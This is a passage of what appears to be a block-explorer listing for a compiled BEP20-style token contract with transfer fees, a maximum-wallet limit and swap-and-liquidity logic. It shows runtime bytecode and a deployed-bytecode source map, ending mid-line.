60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611f11573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f359190612973565b81600181518110611f4957611f4861292f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fb030600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610cf6565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612014959493929190612a99565b600060405180830381600087803b15801561202e57600080fd5b505af1158015612042573d6000803e3d6000fd5b505050505050565b600061dead905061207e30600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1685610cf6565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71983308660008087426040518863ffffffff1660e01b81526004016120e596959493929190612af3565b60606040518083038185885af1158015612103573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906121289190612b69565b505050505050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612176573d6000803e3d6000fd5b505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156121b557808201518184015260208101905061219a565b838111156121c4576000848401525b50505050565b6000601f19601f8301169050919050565b60006121e68261217b565b6121f08185612186565b9350612200818560208601612197565b612209816121ca565b840191505092915050565b6000602082019050818103600083015261222e81846121db565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006122668261223b565b9050919050565b6122768161225b565b811461228157600080fd5b50565b6000813590506122938161226d565b92915050565b6000819050919050565b6122ac81612299565b81146122b757600080fd5b50565b6000813590506122c9816122a3565b92915050565b600080604083850312156122e6576122e5612236565b5b60006122f485828601612284565b9250506020612305858286016122ba565b9150509250929050565b60008115159050919050565b6123248161230f565b82525050565b600060208201905061233f600083018461231b565b92915050565b61234e81612299565b82525050565b60006020820190506123696000830184612345565b92915050565b6000819050919050565b600061239461238f61238a8461223b565b61236f565b61223b565b9050919050565b60006123a682612379565b9050919050565b60006123b88261239b565b9050919050565b6123c8816123ad565b82525050565b60006020820190506123e360008301846123bf565b92915050565b60008060006060848603121561240257612401612236565b5b600061241086828701612284565b935050602061242186828701612284565b9250506040612432868287016122ba565b9150509250925092565b600060ff82169050919050565b6124528161243c565b82525050565b600060208201905061246d6000830184612449565b92915050565b61247c8161225b565b82525050565b60006020820190506124976000830184612473565b92915050565b6000602082840312156124b3576124b2612236565b5b60006124c184828501612284565b91505092915050565b600080604083850312156124e1576124e0612236565b5b60006124ef85828601612284565b925050602061250085828601612284565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061257382612299565b915061257e83612299565b92508261258e5761258d61250a565b5b828204905092915050565b7f4245503230204552523a20617070726f76652066726f6d20746865207a65726f60008201527f2061646472657373000000000000000000000000000000000000000000000000602082015250565b60006125f5602883612186565b915061260082612599565b604082019050919050565b60006020820190508181036000830152612624816125e8565b9050919050565b7f4245503230204552523a20617070726f766520746f20746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000612687602683612186565b91506126928261262b565b604082019050919050565b600060208201905081810360008301526126b68161267a565b9050919050565b60006126c882612299565b91506126d383612299565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561270857612707612539565b5b828201905092915050565b7f4d41582057616c6c6574206c696d69742e000000000000000000000000000000600082015250565b6000612749601183612186565b915061275482612713565b602082019050919050565b600060208201905081810360008301526127788161273c565b9050919050565b7f546f6b656e20616d6f756e74206d75737420626520686967686572207468616e60008201527f20302e0000000000000000000000000000000000000000000000000000000000602082015250565b60006127db602383612186565b91506127e68261277f565b604082019050919050565b6000602082019050818103600083015261280a816127ce565b9050919050565b600061281c8261243c565b915060ff8214156128305761282f612539565b5b600182019050919050565b600061284682612299565b915061285183612299565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561288a57612889612539565b5b828202905092915050565b60006128a082612299565b91506128ab83612299565b9250828210156128be576128bd612539565b5b828203905092915050565b60006060820190506128de6000830186612345565b6128eb6020830185612345565b6128f86040830184612345565b949350505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60008151905061296d8161226d565b92915050565b60006020828403121561298957612988612236565b5b60006129978482850161295e565b91505092915050565b6000819050919050565b60006129c56129c06129bb846129a0565b61236f565b612299565b9050919050565b6129d5816129aa565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b612a108161225b565b82525050565b6000612a228383612a07565b60208301905092915050565b6000602082019050919050565b6000612a46826129db565b612a5081856129e6565b9350612a5b836129f7565b8060005b83811015612a8c578151612a738882612a16565b9750612a7e83612a2e565b925050600181019050612a5f565b5085935050505092915050565b600060a082019050612aae6000830188612345565b612abb60208301876129cc565b8181036040830152612acd8186612a3b565b9050612adc6060830185612473565b612ae96080830184612345565b9695505050505050565b600060c082019050612b086000830189612473565b612b156020830188612345565b612b2260408301876129cc565b612b2f60608301866129cc565b612b3c6080830185612473565b612b4960a0830184612345565b979650505050505050565b600081519050612b63816122a3565b92915050565b600080600060608486031215612b8257612b81612236565b5b6000612b9086828701612b54565b9350506020612ba186828701612b54565b9250506040612bb286828701612b54565b915050925092509256fea264697066735822122014ab980b73279be41c3a428e0d6d69d5e5109e73ef349494add8ea314cf2071364736f6c634300080a0033

Deployed Bytecode Sourcemap

10330:9718:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12549:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13379:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11133:33;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11393:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12826:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11476:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13548:304;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11205:33;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12735:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13860:218;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11441:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11511:40;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10914:24;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10945:38;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12929:117;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10176:139;;;;;;;;;;;;;:::i;:::-;;10591:51;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11248:55;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11310:45;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10080:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12640;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14086:259;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13054:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10745:47;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13228:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11098:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11173:24;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11063:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12549:83;12586:13;12619:5;;;;;;;;;;;;;;;;;12612:12;;12549:83;:::o;13379:161::-;13454:4;13471:39;13480:12;:10;:12::i;:::-;13494:7;13503:6;13471:8;:39::i;:::-;13528:4;13521:11;;13379:161;;;;:::o;11133:33::-;;;;:::o;11393:41::-;;;;;;;;;;;;;:::o;12826:95::-;12879:7;12906;;12899:14;;12826:95;:::o;11476:28::-;;;;;;;;;;;;;:::o;13548:304::-;13646:4;13663:36;13673:6;13681:9;13692:6;13663:9;:36::i;:::-;13710:112;13719:6;13727:12;:10;:12::i;:::-;13741:80;13779:6;13741:80;;;;;;;;;;;;;;;;;:11;:19;13753:6;13741:19;;;;;;;;;;;;;;;:33;13761:12;:10;:12::i;:::-;13741:33;;;;;;;;;;;;;;;;:37;;:80;;;;;:::i;:::-;13710:8;:112::i;:::-;13840:4;13833:11;;13548:304;;;;;:::o;11205:33::-;;;;:::o;12735:83::-;12776:5;10736:2;12794:16;;12735:83;:::o;13860:218::-;13948:4;13965:83;13974:12;:10;:12::i;:::-;13988:7;13997:50;14036:10;13997:11;:25;14009:12;:10;:12::i;:::-;13997:25;;;;;;;;;;;;;;;:34;14023:7;13997:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;13965:8;:83::i;:::-;14066:4;14059:11;;13860:218;;;;:::o;11441:28::-;;;;;;;;;;;;;:::o;11511:40::-;;;;;;;;;;;;;:::o;10914:24::-;;;;:::o;10945:38::-;;;;:::o;12929:117::-;12995:7;13022;:16;13030:7;13022:16;;;;;;;;;;;;;;;;13015:23;;12929:117;;;:::o;10176:139::-;10274:1;10237:40;;10258:6;;;;;;;;;;10237:40;;;;;;;;;;;;10305:1;10288:6;;:19;;;;;;;;;;;;;;;;;;10176:139::o;10591:51::-;;;;;;;;;;;;;;;;;;;;;;:::o;11248:55::-;;;;:::o;11310:45::-;;;;:::o;10080:87::-;10126:7;10153:6;;;;;;;;;;;10146:13;;10080:87;:::o;12640:::-;12679:13;12712:7;;;;;;;;;;;;;;;;;12705:14;;12640:87;:::o;14086:259::-;14179:4;14196:119;14205:12;:10;:12::i;:::-;14219:7;14228:86;14267:15;14228:86;;;;;;;;;;;;;;;;;:11;:25;14240:12;:10;:12::i;:::-;14228:25;;;;;;;;;;;;;;;:34;14254:7;14228:34;;;;;;;;;;;;;;;;:38;;:86;;;;;:::i;:::-;14196:8;:119::i;:::-;14333:4;14326:11;;14086:259;;;;:::o;13054:167::-;13132:4;13149:42;13159:12;:10;:12::i;:::-;13173:9;13184:6;13149:9;:42::i;:::-;13209:4;13202:11;;13054:167;;;;:::o;10745:47::-;;;;:::o;13228:143::-;13309:7;13336:11;:18;13348:5;13336:18;;;;;;;;;;;;;;;:27;13355:7;13336:27;;;;;;;;;;;;;;;;13329:34;;13228:143;;;;:::o;11098:28::-;;;;:::o;11173:24::-;;;;:::o;11063:27::-;;;;:::o;1420:98::-;1478:7;1509:1;1505;:5;;;;:::i;:::-;1498:12;;1420:98;;;;:::o;1997:::-;2050:7;2077:10;2070:17;;1997:98;:::o;14491:343::-;14601:1;14584:19;;:5;:19;;;;14576:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;14686:1;14667:21;;:7;:21;;;;14659:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;14772:6;14742:11;:18;14754:5;14742:18;;;;;;;;;;;;;;;:27;14761:7;14742:27;;;;;;;;;;;;;;;:36;;;;14810:7;14794:32;;14803:5;14794:32;;;14819:6;14794:32;;;;;;:::i;:::-;;;;;;;;14491:343;;;:::o;15335:1703::-;15457:18;:22;15476:2;15457:22;;;;;;;;;;;;;;;;;;;;;;;;;15456:23;:61;;;;;15493:18;:24;15512:4;15493:24;;;;;;;;;;;;;;;;;;;;;;;;;15492:25;15456:61;:97;;;;;15540:13;;;;;;;;;;;15534:19;;:2;:19;;;;15456:97;15451:323;;;15569:18;15590:13;15600:2;15590:9;:13::i;:::-;15569:34;;15651:15;;15640:6;15627:10;:19;;;;:::i;:::-;15626:40;;15618:69;;;;;;;;;;;;:::i;:::-;;;;;;;;;15727:1;15718:6;:10;15710:58;;;;;;;;;;;;:::i;:::-;;;;;;;;;15554:220;15451:323;15792:18;:22;15811:2;15792:22;;;;;;;;;;;;;;;;;;;;;;;;;15791:23;:61;;;;;15828:18;:24;15847:4;15828:24;;;;;;;;;;;;;;;;;;;;;;;;;15827:25;15791:61;15786:529;;;15893:11;;;;;;;;;;;15882:22;;:7;;;;;;;;;;;:22;;;;:57;;;;;15923:16;;;;;;;;;;;15922:17;15882:57;:95;;;;;15964:13;;;;;;;;;;;15956:21;;:4;:21;;;;15882:95;:133;;;;;15994:21;;;;;;;;;;;15882:133;15865:443;;;16072:28;16103:24;16121:4;16103:9;:24::i;:::-;16072:55;;16168:12;;16145:20;:35;16142:78;;;16206:12;;16183:35;;16142:78;16244:1;16234:7;;:11;;;;;;;;;;;;;;;;;;16260:36;16275:20;16260:14;:36::i;:::-;16041:267;15865:443;15786:529;16325:12;16340:4;16325:19;;16355:10;16382:18;:24;16401:4;16382:24;;;;;;;;;;;;;;;;;;;;;;;;;:50;;;;16410:18;:22;16429:2;16410:22;;;;;;;;;;;;;;;;;;;;;;;;;16382:50;16379:435;;;16458:5;16448:15;;16379:435;;;16507:13;;;;;;;;;;;16499:21;;:4;:21;;;16496:72;;;16548:4;16540:12;;16496:72;16599:12;16586:9;;:25;16582:197;;;16663:1;16648:14;;:16;;;;:::i;:::-;16631:14;:33;;;;16582:197;;;16714:12;16703:9;:23;;;;16762:1;16745:14;:18;;;;16582:197;16793:7;;:9;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;16379:435;16837:18;:24;16856:4;16837:24;;;;;;;;;;;;;;;;;;;;;;;;;:50;;;;;16865:18;:22;16884:2;16865:22;;;;;;;;;;;;;;;;;;;;;;;;;16837:50;16834:195;;;16904:36;16924:2;16927:4;16933:6;16904:19;:36::i;:::-;16834:195;;;16969:48;16984:4;16990:2;16994:6;17002:7;17011:5;16969:14;:48::i;:::-;16834:195;15438:1600;;15335:1703;;;:::o;1526:206::-;1612:7;1670:1;1665;:6;;1673:12;1657:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1712:1;1708;:5;1701:12;;1526:206;;;;;:::o;1098:98::-;1156:7;1187:1;1183;:5;;;;:::i;:::-;1176:12;;1098:98;;;;:::o;17374:808::-;11825:4;11806:16;;:23;;;;;;;;;;;;;;;;;;17463:15:::1;17525:3;17504:18;;17481:20;:41;;;;:::i;:::-;:47;;;;:::i;:::-;17463:65;;17543:12;17589:3;17582:4;;17559:20;:27;;;;:::i;:::-;:33;;;;:::i;:::-;17543:49;;17607:25;17635:21;17607:49;;17671:30;17696:4;17688:7;:12;;;;:::i;:::-;17671:16;:30::i;:::-;17716:15;17758:17;17734:21;:41;;;;:::i;:::-;17716:59;;17790:15;17844:4;;17822:18;;:26;;;;:::i;:::-;17815:3;17808:4;;:10;;;;:::i;:::-;:41;;;;:::i;:::-;17790:59;;17864:13;17900:3;17890:7;17880;:17;;;;:::i;:::-;:23;;;;:::i;:::-;17864:39;;17918:41;17931:7;17952:5;17941:7;:16;;;;:::i;:::-;17918:12;:41::i;:::-;17979:52;17994:7;18015:5;18004:7;:16;;;;:::i;:::-;18023:7;17979:52;;;;;;;;:::i;:::-;;;;;;;;18056:21;18046:31;;18092:74;18113:42;18158:7;18092:12;:74::i;:::-;17448:734;;;;;;11871:5:::0;11852:16;;:24;;;;;;;;;;;;;;;;;;17374:808;:::o;17175:187::-;17291:7;:15;17299:6;17291:15;;;;;;;;;;;;;;;;17273:7;:15;17281:6;17273:15;;;;;;;;;;;;;;;:33;;;;17347:7;17335;:11;17343:2;17335:11;;;;;;;;;;;;;;;;:19;;;;:::i;:::-;17321:7;:11;17329:2;17321:11;;;;;;;;;;;;;;;:33;;;;17175:187;;;:::o;18207:1359::-;18340:7;18336:1221;;18397:7;18381;:15;18389:6;18381:15;;;;;;;;;;;;;;;;:23;;;;:::i;:::-;18363:7;:15;18371:6;18363:15;;;;;;;;;;;;;;;:41;;;;18459:7;18440;:18;18448:9;18440:18;;;;;;;;;;;;;;;;:26;;;;:::i;:::-;18419:7;:18;18427:9;18419:18;;;;;;;;;;;;;;;:47;;;;18503:9;18486:36;;18495:6;18486:36;;;18514:7;18486:36;;;;;;:::i;:::-;;;;;;;;18336:1221;;;18552:5;18548:1009;;;18573:14;18621:4;18606:14;;18598:7;;18590;:15;;;;:::i;:::-;:30;;;;:::i;:::-;:35;;;;:::i;:::-;18573:52;;18640:23;18674:6;18666:7;:14;;;;:::i;:::-;18640:40;;18729:7;18713;:15;18721:6;18713:15;;;;;;;;;;;;;;;;:23;;;;:::i;:::-;18695:7;:15;18703:6;18695:15;;;;;;;;;;;;;;;:41;;;;18791:15;18772:7;:18;18780:9;18772:18;;;;;;;;;;;;;;;;:34;;;;:::i;:::-;18751:7;:18;18759:9;18751:18;;;;;;;;;;;;;;;:55;;;;18869:6;18846:7;:22;18862:4;18846:22;;;;;;;;;;;;;;;;:29;;;;:::i;:::-;18821:7;:22;18837:4;18821:22;;;;;;;;;;;;;;;:54;;;;18915:9;18898:44;;18907:6;18898:44;;;18926:15;18898:44;;;;;;:::i;:::-;;;;;;;;18558:400;;18548:1009;;;18979:15;19036:7;:60;19052:42;19036:60;;;;;;;;;;;;;;;;19029:4;19014:14;;19006:7;18997:8;;:16;;;;:::i;:::-;:31;;;;:::i;:::-;:36;;;;:::i;:::-;:99;;;;:::i;:::-;18979:117;;19133:1;19115:14;;:19;19111:59;;;19164:4;19155:8;;19147:7;:16;;;;:::i;:::-;:21;;;;:::i;:::-;19137:31;;19111:59;19196:12;19227:23;19269:4;19261:7;19253;:15;;;;:::i;:::-;:20;;;;:::i;:::-;19227:46;;19330:4;19322:7;19306;:15;19314:6;19306:15;;;;;;;;;;;;;;;;:23;;;;:::i;:::-;:28;;;;:::i;:::-;19288:7;:15;19296:6;19288:15;;;;;;;;;;;;;;;:46;;;;19389:15;19370:7;:18;19378:9;19370:18;;;;;;;;;;;;;;;;:34;;;;:::i;:::-;19349:7;:18;19357:9;19349:18;;;;;;;;;;;;;;;:55;;;;19467:7;19444;:22;19460:4;19444:22;;;;;;;;;;;;;;;;:30;;;;:::i;:::-;19419:7;:22;19435:4;19419:22;;;;;;;;;;;;;;;:55;;;;19514:9;19497:44;;19506:6;19497:44;;;19525:15;19497:44;;;;;;:::i;:::-;;;;;;;;18964:593;;;18548:1009;18336:1221;18207:1359;;;;;:::o;19573:472::-;19639:21;19677:1;19663:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;19639:40;;19708:4;19690;19695:1;19690:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;;;19734:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;19724:4;19729:1;19724:7;;;;;;;;:::i;:::-;;;;;;;:32;;;;;;;;;;;19767:62;19784:4;19799:15;;;;;;;;;;;19817:11;19767:8;:62::i;:::-;19840:15;;;;;;;;;;;:66;;;19921:11;19947:1;19964:4;19991;20011:15;19840:197;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;19628:417;19573:472;:::o;14839:487::-;14919:27;14980:42;14958:64;;15033:62;15050:4;15065:15;;;;;;;;;;;15083:11;15033:8;:62::i;:::-;15106:15;;;;;;;;;;;:31;;;15145:9;15178:4;15198:11;15224:1;15241;15257:19;15292:15;15106:212;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;14909:417;14839:487;;:::o;17050:120::-;17135:6;:15;;:23;17151:6;17135:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17050:120;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:307::-;355:1;365:113;379:6;376:1;373:13;365:113;;;464:1;459:3;455:11;449:18;445:1;440:3;436:11;429:39;401:2;398:1;394:10;389:15;;365:113;;;496:6;493:1;490:13;487:101;;;576:1;567:6;562:3;558:16;551:27;487:101;336:258;287:307;;;:::o;600:102::-;641:6;692:2;688:7;683:2;676:5;672:14;668:28;658:38;;600:102;;;:::o;708:364::-;796:3;824:39;857:5;824:39;:::i;:::-;879:71;943:6;938:3;879:71;:::i;:::-;872:78;;959:52;1004:6;999:3;992:4;985:5;981:16;959:52;:::i;:::-;1036:29;1058:6;1036:29;:::i;:::-;1031:3;1027:39;1020:46;;800:272;708:364;;;;:::o;1078:313::-;1191:4;1229:2;1218:9;1214:18;1206:26;;1278:9;1272:4;1268:20;1264:1;1253:9;1249:17;1242:47;1306:78;1379:4;1370:6;1306:78;:::i;:::-;1298:86;;1078:313;;;;:::o;1478:117::-;1587:1;1584;1577:12;1724:126;1761:7;1801:42;1794:5;1790:54;1779:65;;1724:126;;;:::o;1856:96::-;1893:7;1922:24;1940:5;1922:24;:::i;:::-;1911:35;;1856:96;;;:::o;1958:122::-;2031:24;2049:5;2031:24;:::i;:::-;2024:5;2021:35;2011:63;;2070:1;2067;2060:12;2011:63;1958:122;:::o;2086:139::-;2132:5;2170:6;2157:20;2148:29;;2186:33;2213:5;2186:33;:::i;:::-;2086:139;;;;:::o;2231:77::-;2268:7;2297:5;2286:16;;2231:77;;;:::o;2314:122::-;2387:24;2405:5;2387:24;:::i;:::-;2380:5;2377:35;2367:63;;2426:1;2423;2416:12;2367:63;2314:122;:::o;2442:139::-;2488:5;2526:6;2513:20;2504:29;;2542:33;2569:5;2542:33;:::i;:::-;2442:139;;;;:::o;2587:474::-;2655:6;2663;2712:2;2700:9;2691:7;2687:23;2683:32;2680:119;;;2718:79;;:::i;:::-;2680:119;2838:1;2863:53;2908:7;2899:6;2888:9;2884:22;2863:53;:::i;:::-;2853:63;;2809:117;2965:2;2991:53;3036:7;3027:6;3016:9;3012:22;2991:53;:::i;:::-;2981:63;;2936:118;2587:474;;;;;:::o;3067:90::-;3101:7;3144:5;3137:13;3130:21;3119:32;;3067:90;;;:::o;3163:109::-;3244:21;3259:5;3244:21;:::i;:::-;3239:3;3232:34;3163:109;;:::o;3278:210::-;3365:4;3403:2;3392:9;3388:18;3380:26;;3416:65;3478:1;3467:9;3463:17;3454:6;3416:65;:::i;:::-;3278:210;;;;:::o;3494:118::-;3581:24;3599:5;3581:24;:::i;:::-;3576:3;3569:37;3494:118;;:::o;3618:222::-;3711:4;3749:2;3738:9;3734:18;3726:26;;3762:71;3830:1;3819:9;3815:17;3806:6;3762:71;:::i;:::-;3618:222;;;;:::o;3846:60::-;3874:3;3895:5;3888:12;;3846:60;;;:::o;3912:142::-;3962:9;3995:53;4013:34;4022:24;4040:5;4022:24;:::i;:::-;4013:34;:::i;:::-;3995:53;:::i;:::-;3982:66;;3912:142;;;:::o;4060:126::-;4110:9;4143:37;4174:5;4143:37;:::i;:::-;4130:50;;4060:126;;;:::o;4192:152::-;4268:9;4301:37;4332:5;4301:37;:::i;:::-;4288:50;;4192:152;;;:::o;4350:183::-;4463:63;4520:5;4463:63;:::i;:::-;4458:3;4451:76;4350:183;;:::o;4539:274::-;4658:4;4696:2;4685:9;4681:18;4673:26;;4709:97;4803:1;4792:9;4788:17;4779:6;4709:97;:::i;:::-;4539:274;;;;:::o;4819:619::-;4896:6;4904;4912;4961:2;4949:9;4940:7;4936:23;4932:32;4929:119;;;4967:79;;:::i;:::-;4929:119;5087:1;5112:53;5157:7;5148:6;5137:9;5133:22;5112:53;:::i;:::-;5102:63;;5058:117;5214:2;5240:53;5285:7;5276:6;5265:9;5261:22;5240:53;:::i;:::-;5230:63;;5185:118;5342:2;5368:53;5413:7;5404:6;5393:9;5389:22;5368:53;:::i;:::-;5358:63;;5313:118;4819:619;;;;;:::o;5444:86::-;5479:7;5519:4;5512:5;5508:16;5497:27;;5444:86;;;:::o;5536:112::-;5619:22;5635:5;5619:22;:::i;:::-;5614:3;5607:35;5536:112;;:::o;5654:214::-;5743:4;5781:2;5770:9;5766:18;5758:26;;5794:67;5858:1;5847:9;5843:17;5834:6;5794:67;:::i;:::-;5654:214;;;;:::o;5874:118::-;5961:24;5979:5;5961:24;:::i;:::-;5956:3;5949:37;5874:118;;:::o;5998:222::-;6091:4;6129:2;6118:9;6114:18;6106:26;;6142:71;6210:1;6199:9;6195:17;6186:6;6142:71;:::i;:::-;5998:222;;;;:::o;6226:329::-;6285:6;6334:2;6322:9;6313:7;6309:23;6305:32;6302:119;;;6340:79;;:::i;:::-;6302:119;6460:1;6485:53;6530:7;6521:6;6510:9;6506:22;6485:53;:::i;:::-;6475:63;;6431:117;6226:329;;;;:::o;6561:474::-;6629:6;6637;6686:2;6674:9;6665:7;6661:23;6657:32;6654:119;;;6692:79;;:::i;:::-;6654:119;6812:1;6837:53;6882:7;6873:6;6862:9;6858:22;6837:53;:::i;:::-;6827:63;;6783:117;6939:2;6965:53;7010:7;7001:6;6990:9;6986:22;6965:53;:::i;:::-;6955:63;;6910:118;6561:474;;;;;:::o;7041:180::-;7089:77;7086:1;7079:88;7186:4;7183:1;7176:15;7210:4;7207:1;7200:15;7227:180;7275:77;7272:1;7265:88;7372:4;7369:1;7362:15;7396:4;7393:1;7386:15;7413:185;7453:1;7470:20;7488:1;7470:20;:::i;:::-;7465:25;;7504:20;7522:1;7504:20;:::i;:::-;7499:25;;7543:1;7533:35;;7548:18;;:::i;:::-;7533:35;7590:1;7587;7583:9;7578:14;;7413:185;;;;:::o;7604:227::-;7744:34;7740:1;7732:6;7728:14;7721:58;7813:10;7808:2;7800:6;7796:15;7789:35;7604:227;:::o;7837:366::-;7979:3;8000:67;8064:2;8059:3;8000:67;:::i;:::-;7993:74;;8076:93;8165:3;8076:93;:::i;:::-;8194:2;8189:3;8185:12;8178:19;;7837:366;;;:::o;8209:419::-;8375:4;8413:2;8402:9;8398:18;8390:26;;8462:9;8456:4;8452:20;8448:1;8437:9;8433:17;8426:47;8490:131;8616:4;8490:131;:::i;:::-;8482:139;;8209:419;;;:::o;8634:225::-;8774:34;8770:1;8762:6;8758:14;8751:58;8843:8;8838:2;8830:6;8826:15;8819:33;8634:225;:::o;8865:366::-;9007:3;9028:67;9092:2;9087:3;9028:67;:::i;:::-;9021:74;;9104:93;9193:3;9104:93;:::i;:::-;9222:2;9217:3;9213:12;9206:19;;8865:366;;;:::o;9237:419::-;9403:4;9441:2;9430:9;9426:18;9418:26;;9490:9;9484:4;9480:20;9476:1;9465:9;9461:17;9454:47;9518:131;9644:4;9518:131;:::i;:::-;9510:139;;9237:419;;;:::o;9662:305::-;9702:3;9721:20;9739:1;9721:20;:::i;:::-;9716:25;;9755:20;9773:1;9755:20;:::i;:::-;9750:25;;9909:1;9841:66;9837:74;9834:1;9831:81;9828:107;;;9915:18;;:::i;:::-;9828:107;9959:1;9956;9952:9;9945:16;;9662:305;;;;:::o;9973:167::-;10113:19;10109:1;10101:6;10097:14;10090:43;9973:167;:::o;10146:366::-;10288:3;10309:67;10373:2;10368:3;10309:67;:::i;:::-;10302:74;;10385:93;10474:3;10385:93;:::i;:::-;10503:2;10498:3;10494:12;10487:19;;10146:366;;;:::o;10518:419::-;10684:4;10722:2;10711:9;10707:18;10699:26;;10771:9;10765:4;10761:20;10757:1;10746:9;10742:17;10735:47;10799:131;10925:4;10799:131;:::i;:::-;10791:139;;10518:419;;;:::o;10943:222::-;11083:34;11079:1;11071:6;11067:14;11060:58;11152:5;11147:2;11139:6;11135:15;11128:30;10943:222;:::o;11171:366::-;11313:3;11334:67;11398:2;11393:3;11334:67;:::i;:::-;11327:74;;11410:93;11499:3;11410:93;:::i;:::-;11528:2;11523:3;11519:12;11512:19;;11171:366;;;:::o;11543:419::-;11709:4;11747:2;11736:9;11732:18;11724:26;;11796:9;11790:4;11786:20;11782:1;11771:9;11767:17;11760:47;11824:131;11950:4;11824:131;:::i;:::-;11816:139;;11543:419;;;:::o;11968:167::-;12005:3;12028:22;12044:5;12028:22;:::i;:::-;12019:31;;12072:4;12065:5;12062:15;12059:41;;;12080:18;;:::i;:::-;12059:41;12127:1;12120:5;12116:13;12109:20;;11968:167;;;:::o;12141:348::-;12181:7;12204:20;12222:1;12204:20;:::i;:::-;12199:25;;12238:20;12256:1;12238:20;:::i;:::-;12233:25;;12426:1;12358:66;12354:74;12351:1;12348: